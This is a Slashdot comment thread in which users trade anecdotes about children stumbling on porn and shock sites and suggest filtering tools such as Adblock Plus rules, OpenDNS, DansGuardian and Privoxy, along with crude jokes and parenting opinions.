      If you blindly search for more popular terms you are likely to get a lot of seedy stuff popping up. You are not searching for Jonas Brothers ringtones, and if you were you have a better sense for what sites are malicious to begin with.

    107. Re:The simple one. by BoogeyOfTheMan · · Score: 1

      Well I think we can all guess how you got the name "StikyPad".

    108. Re:The simple one. by morghanphoenix · · Score: 1

      Actually, I'm pretty sure I'm trying desperately to repress my memories of Metacrawler, and Altavista (half-decent) and Webcrawler before that...

      *shudders*

      Why did you have to bring up painful memories?

    109. Re:The simple one. by cbiltcliffe · · Score: 0, Troll

      Kinda wierd that I've got a lower ID than you.

      What did you spend your first 30 years doing? Or don't you remember?

      HAHAHA

      I kill me!

      Don't take it personally. I'm in a very odd, sarcastic mood today.....

      --
      "City hall" in German is "Rathaus" Kinda explains a few things......
    110. Re:The simple one. by mikael_j · · Score: 1

      When I was ten the web was still brand new, I didn't actually use the internet until I was eleven, and at that age I used the web (as a curiosity), FTP, Usenet and email without any filtering and practically no parental supervision, I also remember how most people I encountered online seemed to use their real name (with the exception of those hanging out in shadier parts of usenet).

      Also, no one I know who had unfiltered internet access at an early age seems to have had any real problems come from it, a little common sense goes a long way, and these are both male and female friends btw so no "but teh litul gurls must be protectad from teh intarweb predrtorz!!!1" please...

      /Mikael

      --
      Greylisting is to SMTP as NAT is to IPv4
    111. Re:The simple one. by PMuse · · Score: 1

      The key idea is to support your child's growth, not to restrict it.

      That's exactly what this dad is doing. When you teach a child to swim, at first you hold them every second, then you stand withing reach, then you watch from the shore, then you let them explore on their own in a safe shallow pool. Each step builds confidence and skills.

      Trust this dad when he says that his child isn't ready yet to swim alone in the cold ocean with the currents and the sharks. What he's looking for is filtering software to turn the Internet into a nice, warm, shallow pool until his daughter is ready for the next level.

      --
      "We reject as false the choice between our safety and our ideals." --The American President (20.1.2009)
    112. Re:The simple one. by Cajun+Hell · · Score: 1

      Do living rooms typically have ad filters?

      --
      "Believe me!" -- Donald Trump
    113. Re:The simple one. by Chupathingy · · Score: 0

      Back in my high school days, I was working on a group project about the northern deciduous forests. A relatively sheltered and naive young female classmate was in charge of the "wildlife" aspect of the environment.
      Needless to say after typing "Beaver" into a Google search, she was very very confused at the search results. So yeah, accidental exposure happens if you don't know what NOT to be looking for.
      I also remember back in the day, whitehouse.com lead to many accidental exposures. (.com != .gov)

    114. Re:The simple one. by Cajun+Hell · · Score: 1

      Yes it does.

      Because you will be there to talk to her about them.

      Yeah, whenever I get annoyed by intrusive advertising and I'm alone, I always think, "Gee, I wish there were someone to talk to me about how annoying this is. Without confirmation, I can't tell whether or not I'm really annoyed. 'Dad, is this as annoying as it seems to me?'"

      --
      "Believe me!" -- Donald Trump
    115. Re:The simple one. by lyz · · Score: 1

      Sometimes there is a burden of intent that has to be proven out. For example: a student violates the internet usage policy at their school and uses the "It was an accident" defense.

    116. Re:The simple one. by edremy · · Score: 1
      There's a bird called the cooter?

      No, cooters are turtles. Either than or an ex-member of the House of Representative

      --
      "Seven Deadly Sins? I thought it was a to-do list!"
    117. Re:The simple one. by ncc74656 · · Score: 1

      Think back to when you were ten, you put a random term into Google, and clicked the first link.

      When I was ten, Google was still 16 years in the future. For the vast majority of users here, I suspect you can substitute some sort of positive integer for 16.

      Now get off my lawn!

      --
      20 January 2017: the End of an Error.
    118. Re:The simple one. by relguj9 · · Score: 1

      When I was 10 I was playing a 50x50 strip poker game on my Apple IIGS that got snuck onto a 5.25 floppy of disk of games that my dad got from a friend at work.

    119. Re:The simple one. by commodore64_love · · Score: 1

      Well that was enlightening. I never knew there were so many naked Pennys in the world. What worries me about a kid using a computer is this:

      - the popup ads are often mature in nature ("Come check out adult friend finder")
      - Firefox 3's so-called Amazing/Wonder/Whatever Bar pops up with links to "Playboy Cyber Club" or "Girl Next Door".

      I certainly don't want a sub-teenager looking at that stuff. Therefore a filter would be good to have.

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    120. Re:The simple one. by Anonymous Coward · · Score: 0

      exactly, help your children look at porn without malware...just put your pr0n collection on your shared drive!

    121. Re:The simple one. by commodore64_love · · Score: 5, Funny

      "Daddy what's that?"
      "That's how babies are made sweetheart."
      "Oh. Do you and mommy do that?"
      "Not anymore. (sigh)"

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    122. Re:The simple one. by Anonymous Coward · · Score: 0

      =O=

    123. Re:The simple one. by commodore64_love · · Score: 1

      >>>>Think back to when you were ten, you put a random term into Google

      >>When I was ten, John F. Kennedy was President of the United States.

      When I was 10, my most-advanced piece of technology was an "Atari Video Computer System". Oooo. It had an amazing 128 bytes of RAM. I didn't get my first modem until age 15, and there was no Google or search engines. You had to ask friends to give you phone numbers like 5601750 which would "magically" connect you to a local BBS on the other side of town. It was 100% text, with no pictures, and although porn files like "SAMFOXNUDE PRG" existed, in 16 colors she really didn't look so hot.

      I finally got a Commodore Amiga at age 17, downloaded a few videos, and learned the birds and bees in 4096-color glory.

      Ahhh memories.

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    124. Re:The simple one. by Machtyn · · Score: 1

      That's just it, don't run GIS with safe search turned off. Now, there are times when the moderate search will return undesirable results. I'm not going to try penny while at work ;)

    125. Re:The simple one. by ssintercept · · Score: 1

      I have to ask...do people REALLY that often, hit porn sites by accident?

      NO...!that being said-
      they can have my pr0n-the day they pry it from my cold dead fingers...

      --
      "You can kill the revolutionary, but you can't kill the revolution."-- Fred Hampton
    126. Re:The simple one. by pdabbadabba · · Score: 1

      Hotbot ftw!

    127. Re:The simple one. by Logic+Worshiper · · Score: 1

      Linux solves the malware problem.

    128. Re:The simple one. by blueskies · · Score: 1

      Goatse is different because (on slashdot at least) you see a domain.

      That's only because you have a 7-digit id. Not that mine is very low by the time i finally registered, but /. didn't always show the domain.

    129. Re:The simple one. by MoodyLoner · · Score: 1

      You mean yours doesn't?

      --
      No Longer a Menace to Society.
      Alexandria Morrigan born 2/22/01 l. 20.5in wt. 7 lbs. 5 oz.
    130. Re:The simple one. by lwsimon · · Score: 1

      Gopher...

      --
      Learn about Photography Basics.
    131. Re:The simple one. by Anonymous Coward · · Score: 0

      Dude you live in a fairy world. Kids need protection, their brains are developing and there is only a certain amount of trust you can have in their self control.

      Yes educate them. But drip feed the freedom to roam as they want. Some kids are fine, but I have four boys and at a young age (8 to 12 at the moment) they simply cannot be trusted. While I have no issue with their curiosity, some of the images on the net are down right damaging to a young mind and should simply be stopped until they have the ability to reason and decide what is normal and respectful behaviour.
       

    132. Re:The simple one. by MoodyLoner · · Score: 1

      You're eight? My, you're precocious.

      --
      No Longer a Menace to Society.
      Alexandria Morrigan born 2/22/01 l. 20.5in wt. 7 lbs. 5 oz.
    133. Re:The simple one. by soren202 · · Score: 1

      I've been rick rolled plenty, but thankfully there are no memes that involve duping people into going to NSFW sites and getting written up by HR

      Ummm.... goatse, lemon party, two girls one cup. Those ring any bells?

    134. Re:The simple one. by Anonymous Coward · · Score: 0

      > thankfully there are no memes that involve duping people into going to NSFW sites and getting written up by HR.

      Yeah, good thing that Goatse, Tubgirl, Lemonparty & co. have been removed from the internet. [/sarcasm]

    135. Re:The simple one. by innerweb · · Score: 1

      Try opendns.org. I have been using it for a while now and have been very happy with how well it blocks so many categories of sites. It is customizable, password protected (is you choose) and all you have to do is set the dns of the computers to use it and select the types of content to block.

      InnerWeb

      --
      Freud might say that Intelligent Design is religion's ID.
    136. Re:The simple one. by Sark666 · · Score: 1

      Well the grandfather of all meme's would beg to differ.

      http://tinyurl.com/nrexj

    137. Re:The simple one. by supernova_hq · · Score: 1

      I know the photos are generic, but I've still always been afraid of recognizing somebody in one of those things...

    138. Re:The simple one. by BikeHelmet · · Score: 1

      Yes.

      Adblock kills a lot of those ads, but it still happens.

      Adblock won't save you from meatspin, goatse.cx, or encyclopediadramatica.

      I google a lot of domains first to check out what they are, but I did get tricked into going to encyclopediadramatica to "help with a research report".

      Anyone got something that'll block those?

    139. Re:The simple one. by Anonymous Coward · · Score: 0

      Whitehouse.com is clean now.

    140. Re:The simple one. by Dunkirk · · Score: 1

      Have you not been around long enough to see the site that caused Slashdot to start putting the ACTUAL domain name behind the supposed links?...

      --
      Acts 17:28, "For in Him we live, and move, and have our being."
    141. Re:The simple one. by Gordonjcp · · Score: 1

      A sketch site that is likely also trafficked by pre-teen and teen girls looking to pirate some Jonas Brothers.

      Porn I'd be okay with. Jonas Brothers, definitely not.

    142. Re:The simple one. by garett_spencley · · Score: 1

      When I was 10 the year was 1992 and I was on AOL :(

      Fuck all those people who say the world has gotten worse in the last 17 years !

    143. Re:The simple one. by Nefarious+Wheel · · Score: 2, Funny
      > When I was ten, high tech meant a chain hauberk.

      Bloody archers...

      --
      Do not mock my vision of impractical footwear
    144. Re:The simple one. by TheoMurpse · · Score: 1

      Is there a difference?
      See the hands reaching for boy-junk.

    145. Re:The simple one. by Joebert · · Score: 1

      Here's a thought, how about we come to the sad realization that no matter what we do, it's going to happen. It's probably better to browse around with the kids so they can see how we, as role models, react to this surprise content instead of relying on a digital babysitter that's going to undoubtably fail sooner or later anyway.

      --
      Wanna fight ? Bend over, stick your head up your ass, and fight for air.
    146. Re:The simple one. by Anonymous Coward · · Score: 0

      Well here's my true story, just happened last weekend. My two daughters (13 and 11) just came home from somewhere, and the older one was checking out my screen saver (Fedora 10, "random" screen saver). So you probably know how this one ends.

      "Daddy, what are these pictures?"
      They were all innocent, but not mine, so I told her it must be downloading them from the web.
      "Good thing it's not finding any bad ones" I say, knowing she has an idea of what I mean.
      No sooner are the words out of my mouth, than up pops a not-exactly-g-rated (as in hardcore) anime image. Nice. She turned away, we laughed about it, and that was it.

      But yes, porn can show up even if you don't visit those sites or click those links. Really. Later I went in to look at the screensaver settings. Sure enough, there's a warning about what it might download, but I'd never seen that one before. So I guess I can take my chances with it, I can decide on some other screensaver, or I can try some of the solutions mentioned in this thread.

      And maybe not a big deal, but like some other posters here, I don't live with their Mom. So it's really not a good thing for them to go back and tell her what they saw. Like she (or her lawyer) would believe this?!

      So opendns sounds like it's worth a look, because accidents really can happen.

    147. Re:The simple one. by profplump · · Score: 1

      Really? Have you tried this yourself? There aren't a lot NSFW hits in the images or links. And the few that do exist in the first 5 pages of results are only mildy NSFW. What exactly are you talking about?

    148. Re:The simple one. by Workaphobia · · Score: 1

      You could've tried a less common topic, something esoteric and technical, like Python - oh, wait...

      --
      Evidently, the key to understanding recursion is to begin by understanding recursion. The rest is easy.
    149. Re:The simple one. by Larryish · · Score: 1

      Yep, definitely a slippery slope... especially if the porn models use a good lube. :)

      Seriously, though, a combination of Firefox with Adblock Plus, OpenDNS, and keeping the computer in a public space (living room or den, most likely) will knock out 99 percent of what you don't want kids to see.

    150. Re:The simple one. by logicnazi · · Score: 1

      Ironically I think the 'skill' is nothing but the loss of innocence/ignorance with a dash of focus thrown in for good measure.

      Basically we can recognize links to porn sites the same way we understand that the enzyte commercials are suggesting that smiling bob isn't happy about his tax refund. Also adults are more likely to steer clear of dubious advertising in general while kids are more likely to explore it.

      In other words you learn by growing up.

      ---

      While there may be something to be said for being exposed to sexual content by your peer group (giggling about it and socializing reduces the changes for real psychological damage) I don't see how happening across it on the internet is any different than stumbling across your friend's sibling's playboy or the like.

      If the kids are really just stumbling they tend to go "eww" and close the page. If they are old enough to take a look then it's not really about accidental encounters anymore.

      --

      If you liked this thought maybe you would find my blog nice too:

    151. Re:The simple one. by kamakazi · · Score: 1

      hmm, Google, when I was ten... not likely.

      --
      "Proximity to wonder has blunted our perception and appreciation of it" --Tim Hartnell in 'Exploring ARTIFICIAL INTELLI
    152. Re:The simple one. by kraut · · Score: 1

      When I was ten, google was still several decades off. We barely had eight bits for the whole school, you insensitive clod!

      I did run across ASCII porn only a few years later...wow, that blew my mind ;)

      --
      no taxation without representation!
    153. Re:The simple one. by Thinboy00 · · Score: 1

      That is an accident
      as far as I'm concerned.

      No it's not. It's some stupid company sending you messages you did not ask for. Once might be an accident, but "all the time" isn't.

      --
      $ make available
    154. Re:The simple one. by uniquegeek · · Score: 1

      Last time I visited my parents my Dad complained about this. He's pretty uptight, so I made sure I teased him relentlessly.

      "Right... it came up by... accident. Seems to keep on happening, huh?"

    155. Re:The simple one. by Anonymous Coward · · Score: 0

      7) Profit!

    156. Re:The simple one. by Anonymous Coward · · Score: 0

      Or you could try the China Channel add-on!

    157. Re:The simple one. by mysidia · · Score: 1

      There's a Linux-based browser that will never display any popup ads containing offensive sexual graphic images (without selecting one and navigating to it), it's called: Elinks.

      The best browser ever invented.

      And there's also Lynx (second best), in any case: The filtering in these browsers is so very effective, you'll never have to worry about seeing a single offensive image randomly pop up. An alternative is to use Firefox with NoScript and turn off images.

      For good measure (in addition to Lynx), stick an untangle box running the free web filter, in front of the filtered PC, turn on all the spyware and 'sex' category blocking, and a Privoxy proxy for filtering unawnted cookies, and you should be 90% good to go.

    158. Re:The simple one. by mysidia · · Score: 1

      It may be that they search for the wrong thing, and by chance hit one of the few really bad web sites out there.

    159. Re:The simple one. by PunditGuy · · Score: 1

      Dogpile, so you didn't have to pick one.

    160. Re:The simple one. by Anonymous Coward · · Score: 0

      This was a glitch. It was fixed in Internet 2.0. Go ahead, give it a whirl. http://www.whitehouse.com/ is now SFW as of 2004

    161. Re:The simple one. by telchine · · Score: 1

      "That's how babies are made sweetheart."

      How is babby formed?

    162. Re:The simple one. by mrbcs · · Score: 1

      http://www.opendns.com/ and a good hosts file.

      --
      I'm not anti-social, I'm anti-idiot.
    163. Re:The simple one. by saxoholic · · Score: 1

      I mean, I can count on one hand (I know I know) the number of times I've actually had porn flash up on my browser when I was not looking for it....in all these years.

      The problem with that statement is there have been probably fewer than five times (writing that post being one of them) when you weren't actively looking for porn while using your browser. Plus, the other hand was probably too busy to be counting.

    164. Re:The simple one. by omglolbah · · Score: 1

      Depending on what you need to find out there yes... it does happen.

      Did you know that the "EasyPic" PIC-development board is also a porn site?

      I have numerous other examples. I dont really care that I stumble upon stuff like that and neither does my employer luckily :-p

    165. Re:The simple one. by KnightMB · · Score: 1

      Keep the computer in the living room.

      Untangle for Linux might be a solution since it was already mentioned in the summary. It's free too :) Find it here: Untangle for Linux

    166. Re:The simple one. by Anonymous Coward · · Score: 0

      Thing is, I think the very first word I put into Altavista (still some years before Google) was either "pussy" or "vagina". Accidental exposure was pretty much impossible for me at that age (if it was porn I didn't like, there was always the back button).

      I don't think I looked for stuff that wasn't porn until I was about 17-18.

      Having said that, nowadays there is the risk of people sending the unwary links to shock sites, such as the 1guy1jar video, check out the "reaction videos" to it on youtube - there are lots of obviously underage girls viewing it.

      To sum up - as long OP teaches her about noscript and adblock plus (this should be part of how to use a modern browser), there shouldn't be a problem with accidental exposure.

    167. Re:The simple one. by klaasvakie · · Score: 1

      The matlab/octave function for trapezoidal integration is called "cumtrapz": Cumulative trapezoidal integration in the Z direction.

      Try finding help for that on google! HINT: Do not search for "man cumtrapz".

      --
      # ssh -l neo the_matrix; killall -9 agent_smith
    168. Re:The simple one. by Jarik_Tentsu · · Score: 1

      It really depends on the kinda sites they go on.

      The only time I had unwanted porn popups was when I looked around for Emulators and ROMs off those shady game sites, or off crack/serial key sites (Yeah, for some reason I was cracking games before I was watching porn o.O)

      But yeah. How likely is it your daughter is gonna be hanging out on the 'illegal' part of the internet? I think it's more likely young boys are gonna be trying to look for cracks (for their games) than girls are.

      ~Jarik

    169. Re:The simple one. by Anonymous Coward · · Score: 0

      There's an adult blocklist for AdBlock here. I use it along with EasyList and EasyPrivacy.

    170. Re:The simple one. by Anonymous Coward · · Score: 0

      thankfully there are no memes that involve duping people into going to NSFW sites

      Not heard of this one then?

    171. Re:The simple one. by Anonymous Coward · · Score: 0

      You're telling me!

      As a member of a bird-watcher society, I was mortified at that pictures came up when I looked for tits: http://images.google.is/images?q=tits&oe=utf-8&rls=org.mozilla:en-GB:official&client=firefox-a&um=1&ie=UTF-8&sa=N&hl=is&tab=wi

      I mean, think of the children, and their poor tits!

    172. Re:The simple one. by Ephemeriis · · Score: 1

      Linux solves the malware problem.

      Sometimes.

      If you've got software that only runs under Windows... Or you've got users who are completely unable to learn a new OS... Or your school/corporate/office/whatever policy doesn't allow Linux... Or the machine isn't yours to reload... Then Linux isn't much of a solution at all.

      And even if Linux is a real, viable option, it doesn't solve the entire problem. It might very well take care of malware... But what about SPAM email with explicit crap in it? And advertising popping up on websites? Will Linux magically fix all that as well?

      I mean, I like Linux. I run it at home on most of my systems. But just saying "linux doesn't get malware" really doesn't address the original question.

      --
      "Work is the curse of the drinking classes." -Oscar Wilde
    173. Re:The simple one. by rtb61 · · Score: 2, Insightful

      The truth be told there is some really disturbing content out there on the web far beyond just porn, a lot of content that often I would be quite content to un-see. Content that you would under no circumstance voluntarily want to expose a child to.

      To create a suitable basis for children to access the web, you do not filter. Filtering is stupid and virtually impossible in a IPv4 world and in a IPv6 world it is stupid. You basically block the whole of the internet and only allow access to specific sites that you as an adult have vetted. If the child needs to access a site beyond those you currently allow, they ask you and you add it to the permissions lists.

      I am sure the open community can come up with a vetted list of sites suitable to each age group and region specific. So once that list is prepared you could simply download it to update you system and switch from adult mode to child age group specific mode when required. You must also consider minimising the amount of advertising a child is exposed and those should come into consideration when preparing and defining lists of age range suitable web sites.

      --
      Chaos - everything, everywhere, everywhen
    174. Re:The simple one. by Anonymous Coward · · Score: 0

      Reminds me of the time my little brother decided to go to the bathroom with a certain little girl. We found out about it because you could hear, all the way from the other end of the house, this yell: "HEY, WHERE'S YOUR PENIS?"

    175. Re:The simple one. by Zero__Kelvin · · Score: 1

      I would like Angelina Jolie to fly to my location, take me to a Hotel room, and ravage me. I have a better chance of that happening than I do of finding an Internet Filter that works the way one would need it to for it to be worth the effort.

      I propose an alternate question. I have a teenage daughter, and she is going to keg parties now. How can I guarantee she won't drink alcohol?

      --
      Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
    176. Re:The simple one. by chrysrobyn · · Score: 1

      John F. Kennedy was President of the United States.

      Sorry about your short childhood. When I was a kid, Carter, Reagan, a Bush and Clinton were presidents.

    177. Re:The simple one. by muntis · · Score: 1

      I didn't knew searching "2 girls 1 cup" will lead to some unacceptable places. So, stuff happens ;)

    178. Re:The simple one. by Anonymous Coward · · Score: 0

      Sure it does.

      1) /etc/hosts - Unwieldy, but effective.
      2) apt-get install bind - A little better, zone files are available
      3) OpenDNS and the like...
      4) Privoxy
      5) Squid+Junkbuster
      6) ...

      7) Profit?

    179. Re:The simple one. by Anonymous Coward · · Score: 0

      Actually, there is some harm in it.

      If porn was... um... realistic, there would be no harm (depending on your viewpoint of "harm"). But most porn is quite unrealistic and gives people false expectations and could cause a few problems down the road when her expectations are shattered.

      "Growth" is teaching your child about sex. Harm is letting them try to figure it out by themselves on porn sites.

    180. Re:The simple one. by Anonymous Coward · · Score: 0

      i honestly did once completely unintentionally do a NSFW google search, but i realized my mistake instantly of course.

      I was working as a unix sysadmin, using mostly old solaris 6. We were having some network troubles, i decided to use the solaris tool called spray to generate some traffic. I decided to check the man page - but the manuals aren't installed on the machine itself. "no problem, i'll google it" i think, and promptly type "man spray" into google. OH THE HORROR!

    181. Re:The simple one. by Anonymous Coward · · Score: 0

      Really, this actually happened:

      I want to look for "cinderella" mommy. The 5-year old girl then mistakenly typed "cinderella" on the URL bar (not the search text box). The browser happily added www and com. And she was looking at porn. Add mistyped URLs to the mix and you have a big problem. This is what I do at home currently:

      I created an account for my oldest daughter, access to all my computers require auth. In her browser I setup a static html page with the links for stuff she typically would want to use (some games, school web site, google...). This page is her browser home page. Using this browser I went to google and set it to "safe results". Got rid of the URL bar.

      In the future I plan to actually use squid or similar to add extra filtering, that would be in place until the kids are old enough to learn how to bypass it :) and by then I hope to have a talk about the Internet with them...

    182. Re:The simple one. by clone53421 · · Score: 1

      Try finding help for that on google! HINT: Do not search for "man cumtrapz".

      Try "matlab cumtrapz function".

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    183. Re:The simple one. by clone53421 · · Score: 1

      Anyone got something that'll block those?

      Yeah, Adblock Plus.

      goatse.cx#html
      #a(href*=goatse.cx)

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    184. Re:The simple one. by baxissimo · · Score: 1

      Who modded me redundant? Come on, show me another post in this thread where someone linked to Barney Google! That's 100% original content there, mods! Wake up! Or maybe the mod just isn't a Barney Google fan?

    185. Re:The simple one. by bmckeever · · Score: 1

      > I've been rick rolled plenty, but thankfully there are no memes that involve duping people into going to NSFW sites and getting written up by HR.

      Apparently too young to remember when slashdot comments would link to goatse. That was long before "rick rolling".

      --
      Your favorite .sig sucks
    186. Re:The simple one. by BikeHelmet · · Score: 1

      To block it like that, I'd need a list containing all of them.

      I was hoping for a list or tool that blocks the ones I don't know about. ;)

    187. Re:The simple one. by Anonymous Coward · · Score: 0

      Pornography is extremely easy to come by, especially if a teenage girl is just looking up pictures of "hot guys". And with the nature of that search, sooner or later SHE WILL come across a pornographic website or ad. Its only a matter of time to be honest with you.

      My advice is, especially if she is just using google for looking up pictures, turn the safesearch on, for the most part, Google's built in safesearch works VERY well and I'm sure OP's daughter could come across some handsome men WITH their clothes still on (or at least covering the parts the OP doesn't want her to see -yet-.)

  2. Depends on how fine you grind them by spun · · Score: 5, Funny

    Cheesecloth works pretty good to get the chunks out.

    --
    - None can love freedom heartily, but good men; the rest love not freedom, but license. -- John Milton
  3. It's too late. by Anonymous Coward · · Score: 0

    It's too late. To apologize. Too late.

  4. They shouldn't be smoking at all! by aapold · · Score: 5, Funny

    Filter or no filter, its just bad for them especially at that age.

    --
    "Waste not one watt!" - CZ
    1. Re:They shouldn't be smoking at all! by Verdatum · · Score: 1

      I'm glad I'm not the first one to react to the headline thusly.

  5. Adblock by antifoidulus · · Score: 5, Informative

    Seriously, if all you are worried about is her getting porn ads when she doesn't want them, just use adblock.

    1. Re:Adblock by Anonymous Coward · · Score: 0

      Seriously, if all you are worried about is her getting porn ads when she doesn't want them, just use adblock.

      Agreed. Adblock is the best method to just block adverts

    2. Re:Adblock by MightyYar · · Score: 1

      What he said, but with slightly more detail. Use Adblock Plus and (assuming you are in the US), subscribe to EasyList, which now also blocks (well, technically just hides) ad elements... formerly you had to subscribe to EasyElement as well.

      --
      W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
    3. Re:Adblock by trold · · Score: 4, Funny

      If she prefers IE for some weird reason then just put an ad-filtering web-proxy on your network like Junkbuster.

      If she is clever enough to get IE to run properly on the aforementioned linux systems, she is clever enough to configure her own porn-blocker...

    4. Re:Adblock by TheMCP · · Score: 1

      Hell, just turn on a popup blocker. I've been a heavy internet user for 18 years now, and I've never had porn just pop up out of nowhere. Seriously, the only time I've had porn appear on my browser is when I went poking around adult web sites, in which case I can hardly act surprised.

      I'm sick of people perpetuating this strange myth that on the internet, you can be just casually reading web pages about cabbages and WHAM, porn comes zooming out of nowhere to take over your screen.

    5. Re:Adblock by Zonk+(troll) · · Score: 1

      I never, ever see porn ads because I've got Adblock Plus installed in FF. If she prefers IE for some weird reason then just put an ad-filtering web-proxy on your network like Junkbuster.

      You could also install IE7Pro. It adds the following:

      "Tabbed Browsing Management, Spell Check, Inline Search, Super Drag Drop, Crash Recovery, Proxy Switcher, Mouse Gesture, Tab History Browser, Web Accelerator, User Agent Switcher, Webpage Capturer, AD Blocker, Flash Block, Greasemonkey like User Scripts platform, User Plug-ins, MiniDM, Google sponsored search,IE Faster and many more power packed features."

      --
      "The Federal Reserve is a fraudulent system."--Lew Rockwell
      End The FED. -
    6. Re:Adblock by Nick+Ives · · Score: 1

      RTFS:

      and have no Internet controls on any of our systems, which are mostly Linux based.

      The girl probably uses a Windows PC. Most of the sites I've seen my younger relatives hanging out on use all sorts of random crap that's specific to Windows.

      --
      Nick
    7. Re:Adblock by Anonymous Coward · · Score: 0

      Have the talk. The one about worms and trojans.

      Mention that if she turns your home network into zombie botnet central, the only hot guys she will ever see again will be the ones that show up to your house in person. Then remind her that her house is the one with the nerdy dad in it, and that her hot guy friends are free to come over at any time to play D&D, M:tG, and whatnot.

      She'll come up with a filtering proxy on her own that will make your head spin.

    8. Re:Adblock by Xtifr · · Score: 1

      Most of the people I know who use mostly Linux or mostly Mac also mostly limit their kids to using Linux/Mac, because it's safer and more reliable. The last thing you want is to have your kids installing random Windows software off the Internet. In households that are mostly something other than Windows, Windows is usually only there at all for some specific job-related thing that Daddy or Mommy does.

      Furthermore, there would have been little point in saying "mostly Linux" and not mentioning anything else if the kids were primarily using something else.

    9. Re:Adblock by Anonymous Coward · · Score: 0

      True. Furthermore, /. being what it is, I went a step further and added some filters of my own:

      #a(href*=goat.cx)
      goat.cx#html

      Not only do the /. trolls fail to link me to goatse, I don't even see the link. I just see the [goat.cx] tag where the link would have been (since I have /. set up to show the domain next to the link anyway).

      Even if somebody was feeling really ambitious and set up an innocuous sounding URL that forwarded to goatse, the second filter would kill it. Now I just have to worry about people mirroring it...

    10. Re:Adblock by clone53421 · · Score: 1

      If she prefers IE for some weird reason then just

      ...remove the shortcuts and tell her if she's ever caught using IE, she'll wish she'd only been caught surfing porn.

      I'm only sort of kidding.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    11. Re:Adblock by The+Warlock · · Score: 1

      Dunno where that crazy rumor came from, but ABP+EasyList blocks ads, it doesn't just "hide" them. See:

      http://easylist.adblockplus.org/adblock_plus_faqs.htm#abpdownload

      --
      I've upped my standards, so up yours.
    12. Re:Adblock by MightyYar · · Score: 1

      The old EasyList did in fact block ads. The old EasyElement hid ads. Now that EasyElement and EasyList are one and the same, EasyList technically blocks ads and hides elements.

      Straight from the horse's mouth:

      Unlike the regular ad-blocking rules found in the EasyList & EasyPrivacy, the element-hiding rules in the EasyList will only only hide elements ... they are still downloaded. Both types are now present in the EasyList.

      --
      W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
    13. Re:Adblock by rhinokitty · · Score: 1

      Why are all the hot guys gay?

      Sigh...

  6. opendns by Anonymous Coward · · Score: 0

    opendns

    1. Re:OpenDNS by Anonymous Coward · · Score: 0

      OpenDNS is the easiest and first option and does not let her easily "get around" it.

      The best IMHO is DansGuardian set up as a transparent proxy, Very difficult to defeat (and her friends WILL give her advice on how to do that).

      But you educating her about sex in a sane and sensible manner is the best overall.

    2. Re:OpenDNS by wykell · · Score: 5, Insightful
      I'm a big fan of OpenDNS. It makes my browsing faster than dealing with my ISP's overloaded DNS servers, and allows me full control over my network. For safety reasons, so far I have blocked NBA.com, and I occasionally block perezhilton.com, just to piss my girlfriend off.

      As far as "filters" for kids - I grew up with a liberal(ish) mother who taught Sexual Education courses for a while. I was exposed to all of her programs, from "abstinence only" to "safer sex" and everything in between, and to be honest, what I learned from that level of exposure is that the BEST defense is a good offense. Teach your kid the values of sexuality you feel are healthiest and know that no matter how much you try to keep them protected from exposure to "bad" things, they are going to find those things on their own, one way or another. Giving kids the proper tools and knowledge on how to deal with the "bad things" is far better than trying to protect them with any sort of shell.

      --
      --- He advocated thrift and hard work and disapproved of loose women who turned him down. ---
    3. Re:OpenDNS by fred+fleenblat · · Score: 1

      >> Giving kids the proper tools and knowledge on how to deal with the "bad things" is far better than trying to protect them with any sort of shell.

      I dunno, my daily use of the bourne shell protected me from all kinds of "bad things" involving girls.

    4. Re:OpenDNS by cellurl · · Score: 1

      cant the kid just click on Network, navigate to IPproperties, DNS, then just take out your openDNS DNS and instead use default? Once they see that procedure, won't they be able to duplicate it? Heck, its probably on youtube. My problem is "what happens during a block". If they see BLOCK, they THWART, heck I do... Related: I ride Megabus and I use my own bellsouth-DNS instead of their openDNS. Works sometimes, but not always. Perhaps they are getting wiser??

    5. Re:OpenDNS by Anonymous Coward · · Score: 0

      For dynamic ip, just use ddclient.

    6. Re:OpenDNS by Hegh · · Score: 1

      Well put. Anyone got some spare mod points? Parent could use a few.

      --
      Bravery is not a function of firepower.
      ~J.C. Denton (Deus Ex)
    7. Re:OpenDNS by Anonymous Coward · · Score: 0

      *preferably*? so if they don't, you are still exposed but someone else innocent is filtered...

      besides, is there any problem left in the world whose solution is not to 'register an account - for free' somewhere? ;)

    8. Re:OpenDNS by pbhj · · Score: 1

      Teach your kid the values of sexuality you feel are healthiest and know that no matter how much you try to keep them protected from exposure to "bad" things, they are going to find those things on their own, one way or another. Giving kids the proper tools and knowledge on how to deal with the "bad things" is far better than trying to protect them with any sort of shell.

      I think your wisdom is fine for the world of 5-10 years ago (when you grew up?). However the depraved extremes of human behaviour have previously been hidden behind locked doors in secluded, private areas only really accessible to those who want to find them. Now all the extremes of behaviour that extend from psychological damage or hedonistic excess, etc., are 2 clicks away in your web-browser.

    9. Re:OpenDNS by Anonymous Coward · · Score: 0

      Make sure you're not an Earthlink customer. They intercept port 53 (DNS) traffic and redirect it to their own lame servers.

    10. Re:OpenDNS by Anonymous Coward · · Score: 0

      This advise is very good, put many posters seem to not realize that kids of all ages do internet searches, and at some ages protection is a better choice than education, just for a few years.

  7. Yeeeah . . . by SlappyBastard · · Score: 4, Funny

    Um . . . "splash sex in her face" . . . oooooh-kaaaaaay . . .

    --
    I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
  8. What Filters Are Right For Kids? by flaming+error · · Score: 1

    The filter in their own brain.

    1. Re:What Filters Are Right For Kids? by geekoid · · Score: 4, Insightful

      They aren't born with one.

      --
      The Kruger Dunning explains most post on /. http://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect
    2. Re:What Filters Are Right For Kids? by poopdeville · · Score: 1

      Exactly.

      --
      After all, I am strangely colored.
    3. Re:What Filters Are Right For Kids? by Capt.DrumkenBum · · Score: 2, Funny
      ssh into her brain and:

      sudo apt-get install pr0nfilter

      --
